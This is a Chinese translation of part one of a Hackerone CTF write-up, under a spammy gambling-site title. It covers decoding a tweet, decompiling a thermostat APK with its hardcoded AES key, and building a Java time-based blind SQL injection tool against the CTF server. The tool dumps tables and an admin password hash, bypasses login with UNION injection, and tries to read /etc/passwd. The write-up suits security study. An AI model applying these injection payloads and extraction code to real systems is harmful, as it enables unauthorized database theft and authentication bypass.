桃花源娱乐Hackerone 50m-ctf writeup(第一部分)_HUC惠仲娱乐

桃花源娱乐

总结:

有关挑战的简要概述,您可以查看以下图像:

下面我将详细介绍我为解决CTF而采取的每一步,以及在某些情况下导致我走向死胡同的所有错误假设。

Twitter

CTF从这条tweet开始:

这些二进制是什么?

我的第一个想法是尝试解码图像上的二进制。我还注意到在'_'字符后,二进制数字与前面的相同,即:

01111010 01101100 01101001 01100010 00101011 01111000 10011100 01001011 11001010 00101100 11010001 01001011 11001001 11010111 11001111 00110000 00101100 11001001 01001000 00101101 11001010 00000101 00000000 00100101 11010010 00000101 00101001

所以,让我们看看这是否会转换成任何ascii码或可读的内容(python3的环境)

>>> bin_array_image = ['0b01111010', '0b01101100', '0b01101001', '0b01100010', '0b00101011', '0b01111000', '0b10011100', '0b01001011', '0b11001010', '0b00101100', '0b11010001', '0b01001011', '0b11001001', '0b11010111', '0b11001111', '0b00110000', '0b00101100', '0b11001001', '0b01001000', '0b00101101', '0b11001010', '0b00000101', '0b00000000', '0b00100101', '0b11010010', '0b00000101', '0b00101001'] >>> s = ''.join(chr(int(x,2)) for x in bin_array_image) >>> print(s) zlib+x�KÊ,ÑKÉ×Ï0,ÉH-Ê� %Ò�)

很好,前五个字符是:zlib +。所以,也许我们应该使用zlib来解压缩剩余的字节。

>>> import zlib >>> byte_string = bytes([int(x,2) for x in bin_array_image][5:]) >>> print(zlib.decompress(byte_string)) b'bit.do/h1therm'

好。现在我们有一个重定向到Google云端硬盘中的APK文件的网址。我们下载吧。

APK

作为我的第一步,我使用JADX反编译应用程序并开始检查代码:

阅读AndroidManifest.xml我可以找到两个activity类:com.hackerone.thermostat.LoginActivitycom.hackerone.thermostat.ThermostatActivity

LoginActivity.class

LoginActivity的核心功能是对用户进行身份验证:

private void attemptLogin() throws Exception {     ...     JSONObject jSONObject = new JSONObject();     jSONObject.put("username", username);     jSONObject.put("password", password);     jSONObject.put("cmd", "getTemp");     Volley.newRequestQueue(this).add(new PayloadRequest(jSONObject, new Listener<String>() {         public void onResponse(String str) {             if (str == null) {                 LoginActivity.this.loginSuccess();                 return;             }             LoginActivity.this.showProgress(false);             LoginActivity.this.mPasswordView.setError(str);             LoginActivity.this.mPasswordView.requestFocus();         }     }));

attemptLogin中,App构建了一个像这样的json对象:{“username”:“”,“password”:“”,“cmd”:“getTemp”}然后实例化一个PayloadRequest对象,该对象将被添加到一个Volley Queue中去处理。那么让我们看看这个类做了什么。

PayloadRequest.class

public class PayloadRequest extends Request<String> {      public PayloadRequest(JSONObject jSONObject, final Listener<String> listener) throws Exception {         super(1, "http://35.243.186.41/", new ErrorListener() {             public void onErrorResponse(VolleyError volleyError) {                 listener.onResponse("Connection failed");             }         });         this.mListener = listener;         this.mParams.put("d", buildPayload(jSONObject));     }

从这里我们可以注意到一个URL http://35.243.186.41/,它可能被用作后端服务器。此外,还有一个名为buildPayload的方法,它将作为d参数的值。

private String buildPayload(JSONObject jSONObject) throws Exception {         SecretKeySpec secretKeySpec = new SecretKeySpec(new byte[]{(byte) 56, (byte) 79, (byte) 46, (byte) 106, (byte) 26, (byte) 5, (byte) -27, (byte) 34, (byte) 59, Byte.MIN_VALUE, (byte) -23, (byte) 96, (byte) -96, (byte) -90, (byte) 80, (byte) 116}, "AES");         byte[] bArr = new byte[16];         new SecureRandom().nextBytes(bArr);         IvParameterSpec ivParameterSpec = new IvParameterSpec(bArr);         Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding");         instance.init(1, secretKeySpec, ivParameterSpec);         byte[] doFinal = instance.doFinal(jSONObject.toString().getBytes());         byte[] bArr2 = new byte[(doFinal.length + 16)];         System.arraycopy(bArr, 0, bArr2, 0, 16);         System.arraycopy(doFinal, 0, bArr2, 16, doFinal.length);         return Base64.encodeToString(bArr2, 0);     }

buildPayload方法在CBC模式下使用对称密钥算法[4](AES),它使用相同的加密密钥来加密明文和解密密文。而且,secretKeySpec是密钥,PKCS#5是填充方法。因此,我们的json总是被加密发送到后端服务器。此外,还有一种处理响应的方法,称为parseNetworkResponse,它使用相同的算法和密钥。

ThermostatActivity.class

另一个ActivityClass是ThermostatActivity,它两次调用setTargetTemperature并更新thermostatModel属性。同样使用LoginActivity中相同的json对象发送getTemp命令,但正如您所看到的,对结果没有做任何事情(String str)

private void setDefaults(final ThermostatModel thermostatModel) throws Exception {         thermostatModel.setTargetTemperature(Integer.valueOf(77));         thermostatModel.setCurrentTemperature(Integer.valueOf(76));         JSONObject jSONObject = new JSONObject();         jSONObject.put("username", LoginActivity.username);         jSONObject.put("password", LoginActivity.password);         jSONObject.put("cmd", "getTemp");         volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {             public void onResponse(String str) {                 thermostatModel.setTargetTemperature(Integer.valueOf(70));                 thermostatModel.setCurrentTemperature(Integer.valueOf(73));             }         }));     }

com.hackerone.thermostat.Model.ThermostatModel

分析其他类,我们找到一个带有setTargetTemperatute方法的ThermostatModel,它给我们另一个命令:setTemp。这个新命令的有趣之处在于现在我们有了一个新的json属性temp,它是setTemp的参数。

public void setTargetTemperature(Integer num) {         this.targetTemperature.setValue(num);         try {             JSONObject jSONObject = new JSONObject();             jSONObject.put("username", LoginActivity.username);             jSONObject.put("password", LoginActivity.password);             jSONObject.put("cmd", "setTemp");             jSONObject.put("temp", num);             ThermostatActivity.volleyQueue.add(new PayloadRequest(jSONObject, new Listener<String>() {                 public void onResponse(String str) {                 }             }));         } catch (Exception unused) {         }         updateCooling();     }

Dir Brute

为什么不这样做?我们有一个运行Web服务器的IP,所以让我们看一下今天是否是我们的幸运日,并获得一些唾手可得的结果,找出一个隐藏的端点。使用FFUF

./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt ./ffuf -u http://35.243.186.41/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

没那么容易......

Creating a Java Application

在初始侦察之后,是时候尝试与后端服务器交互的一些攻击了。为此,我刚刚使用App中的相同源代码创建了一个java应用程序,并进行了少量更改。

public static String sendCommand(String username, String password, String cmd) throws Exception {         return PayloadRequest.sendCommand(username, password, cmd, null);     }      public static String sendCommand(String username, String password, String cmd, String tmp) throws Exception {            JSONObject jSONObject = new JSONObject();             jSONObject.put("username", username);             jSONObject.put("password", password);             jSONObject.put("cmd", cmd);             if( tmp != null) {             jSONObject.put("temp", tmp);             }             return send(jSONObject);     }      public static String send(Object jSONObject) throws Exception {         String payload = PayloadRequest.buildPayload(jSONObject);             URL url = new URL("http://35.243.186.41");             HttpURLConnection con = (HttpURLConnection) url.openConnection();             con.setRequestMethod("POST");              Map<String, String> parameters = new HashMap<>();             parameters.put("d", payload);             ...             return PayloadRequest.parseNetworkResponse(content.toString());     }

所以我们现在可以使用上面的sendCommand方法向后端发送命令。我在这里的第一个猜测是尝试一些SQL注入。但是我们有一些限制,因为服务器只返回“无效的用户名或密码”或“Unknown”。第一条消息出现在没有错误但是用户名和密码不匹配的情况,第二条消息出现在某些东西出错的时候。因为这些限制,我们可以尝试2中方法:基于时间的盲注或者基于错误的盲注。让我们用最简单的payload来尝试基于时间的盲注:

System.out.println(PayloadRequest.sendCommand("'||sleep(10)#", "", "")); // After 10 seconds ... // {"success": false, "error": "Invalid username or password"}

Time Based SQL Injection

什么?我们找到漏洞了吗?上面的payload经过10秒钟才获得响应!这绝对是我的幸运日......我现在能做什么?也许是启动SQLMap?不,不!这不够31337(不够专业)!让我们用Java创建自己的SQL盲注exp!首先,我们需要比较两个字符,并根据响应时间确定一个布尔值:True或False。我们可以实现如下:

public static boolean blindBoolean(String payload) throws Exception {         long startTime = System.nanoTime();      PayloadRequest.sendCommand(payload, "", "");      long endTime = System.nanoTime();     long timeElapsed = endTime - startTime;          return (timeElapsed / 1000000) > PayloadRequest.TIME_TO_WAIT * 1000;         }

为了测量响应时间,我们需要获得调用sendCommand之前的时间和调用之后的时间,然后把2者相减,再与TIME_TO_WAIT相比较,如果所用的时间大于TIME_TO_WAIT则为True否则为False。
现在我们需要一个通用的查询模板,它允许我们从数据库中提取数据:

'||(IF((SELECT ascii(substr(column,{1},1)) from table limit {2},1){3}{4},SLEEP({5}),1))#

以及:

{1} -> %d -> 截取第几个字符 {2} -> 行偏移 {3} -> %c -> 比较操作符 ( =, >, <) {4} -> %d -> ascii码 {5} -> %d -> 睡眠时间

为了提高性能,我们可以使用二分查找法进行基于时间的布尔检查:

public static String blindString(String injection, int len) throws Exception {           StringBuilder value = new StringBuilder("");         for(int c = 1; c <= len; c++) {             int low = 10;         int high = 126;         int ort = 0;         while(low<high) {             if( low-high == 1 ) {                 ort = low + 1;             } else if ( low-high == -1 ) {                 ort = low;             } else {                 ort = (low+high)/2;             }              String payload = String.format(injection, c, '=', ort, PayloadRequest.TIME_TO_WAIT );             if( PayloadRequest.blindBoolean(payload) ) {                 value.append( Character.toString( (char) ort));                 break;                 }             payload = String.format(injection, c, '>', ort, PayloadRequest.TIME_TO_WAIT );             if( PayloadRequest.blindBoolean(payload) ) {                 low = ort;                 } else {                 high = ort;             }             }         }         return value.toString();     }

所有准备看上去都很好那么开始泄漏一些数据:

Database recon

version()

public static String blindVersion() throws Exception {         String injection = "'||(IF((SELECT ascii(substr(version(),%d,1)))%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 25);     }     // 10.1.37-MariaDB

database()

public static String blindDatabase() throws Exception {         String injection = "'||(IF((SELECT ascii(substr(database(),%d,1)))%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 25);     }     // flitebackend

hostname + datadir

System.out.println(blindString("'||(IF((SELECT ascii(substr(@@hostname,%d,1)))%c%d,SLEEP(%d),1))#", 20));      // hostname: de8c6c400a9f     System.out.println(blindString("'||(IF((SELECT ascii(substr(@@datadir,%d,1)))%c%d,SLEEP(%d),1))#", 30));     // datadir: /var/lib/mysql/

Tables

public static String blindTableName(int offset) throws Exception {         String injection = "'||(IF((SELECT ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 100);     }     ...     PayloadRequest.blindTableName(0); // devices     PayloadRequest.blindTableName(1); // users     PayloadRequest.blindTableName(2); // None

flitebackend数据库中找到2张表:devicesusers

Read files?

也许我们可以读取一些文件?

System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/hosts'),%d,1)))%c%d,SLEEP(%d),1))#", 20));     System.out.println(blindString("'||(IF((SELECT ascii(substr(load_file('/etc/passwd'),%d,1)))%c%d,SLEEP(%d),1))#", 20));

我认为不行。

Login

也许你想知道为什么我还没有登录。因为我尝试登录前正在做基于时间的SQL盲注。所以让我们看看我们是否能够使用SQL注入登录:

System.out.println(PayloadRequest.sendCommand("' or 1=1#", "123123", "getTemp"));      // {"success": false, "error": "Invalid username or password"}

嗯,我们需要考虑后端如何进行登录处理:

1.SELECT username, password FROM users WHERE username='+ username_param +' and password = '+ password_param +' ? 2.SELECT password FROM table WHERE username='+ username_param +'; then check password?

对于1来说我们已经知道不是这种情况,因为使用'or 1=1#会给我们一个成功的消息。对于2来说我们需要另一个测试,首先,让我们检查一次查询有多少列。

System.out.println(PayloadRequest.sendCommand("' order by 1#", "", "getTemp"));      // {"success": false, "error": "Invalid username or password"}.      System.out.println(PayloadRequest.sendCommand("' order by 2#", "", "getTemp"));      // {"success": false, "error": "Unknown"}

好的,基于错误消息,我们可以确认查询中只有一列。因此,我们可以尝试使用UNION伪造成功的查询:

System.out.println(PayloadRequest.sendCommand("' union all select ''#", "", "getTemp"));      // {"success": false, "error": "Invalid username or password"}

还是不行,看样子有一些其他的东西,退一步,让我们dump所有的用户表。

users table

首先,我们需要知道表结构。为了方便这个过程,我创建了一个名为blindColumnName的方法,它有两个参数:table和offset。这个方法会dump所有来自table指定的表的所有列名。

public static String blindColumnName(String table, int offset) throws Exception {         String injection = "'||(IF((SELECT ascii(substr(column_name,%d,1)) from information_schema.columns where table_name='"+table+"' and table_schema = database() limit "+offset+",1)%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 100);     }      ...     PayloadRequest.blindColumnName("users",0); // id     PayloadRequest.blindColumnName("users",1); // username     PayloadRequest.blindColumnName("users",2); // password     PayloadRequest.blindColumnName("users",3); // None

表结构users(id, username, password)

devices table

和上面的处理相同适用于devices表。

PayloadRequest.blindColumnName("devices",0); // id     PayloadRequest.blindColumnName("devices",1); // ip     PayloadRequest.blindColumnName("devices",2); // None

表结构devices(id, ip)

Dumping

知道了表结构,我们可以dump值:

public static String blindUsername(int offset) throws Exception {         String injection = "'||(IF((SELECT ascii(substr(username,%d,1)) from users limit "+offset+",1)%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 5);     }      PayloadRequest.blindUsername(0); // admin     PayloadRequest.blindUsername(1); // None      public static String blindColumnUsersValues(String column, int length) throws Exception {         String injection = "'||(IF((SELECT ascii(substr("+column+",%d,1)) from users where username = 'admin')%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, length);     }      public static String blindPassword() throws Exception {         return PayloadRequest.blindColumnUsersValues("password", 32);     }      PayloadRequest.blindPassword(); // 5f4dcc3b5aa765d61d8327deb882cf99

只有一个用户(“admin”,“5f4dcc3b5aa765d61d8327deb882cf99”)。这是哈希吗?用Google搜索它并找到答案,是的:md5('password')。现在我们可以使用admin:password或甚至使用sqli登录:

System.out.println(PayloadRequest.sendCommand("admin", "password", "getTemp"));     // {"temperature": 73, "success": true}     System.out.println(PayloadRequest.sendCommand("' union all select '47bce5c74f589f4867dbd57e9ca9f808'#", "aaa", "getTemp"));     // {"temperature": 73, "success": true}

是时候dump表devices的数据了。

public static String blindIpDevices(int offset) throws Exception {         String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices limit "+offset+",1)%c%d,SLEEP(%d),1))#";         return PayloadRequest.blindString(injection, 16); // Fixed length     }     ...     PayloadRequest.blindIpDevices(0);     // Device: 0    192.88.99.253     PayloadRequest.blindIpDevices(1);     // Device: 1    192.88.99.252     PayloadRequest.blindIpDevices(2);     // Device: 2    10.90.120.23

在获得几个ips后,我注意到大多数都属于私有IP地址。我的第一个想法是构建一个移除所有私有IP地址的查询(参见where子句):

public static String blindDeviceQuery() throws Exception {         String injection = "'||(IF((SELECT ascii(substr(ip,%d,1)) from devices where substr(ip,1,2) not in ('24', '25') and substr(ip,1,3) not in ('192', '10.', '198') limit 0,1)%c%d,SLEEP(%d),1))#";          return PayloadRequest.blindString(injection, 16);     }      PayloadRequest.blindDeviceQuery();     // 104.196.12.98

太好了!一个真实的IP地址。
原文链接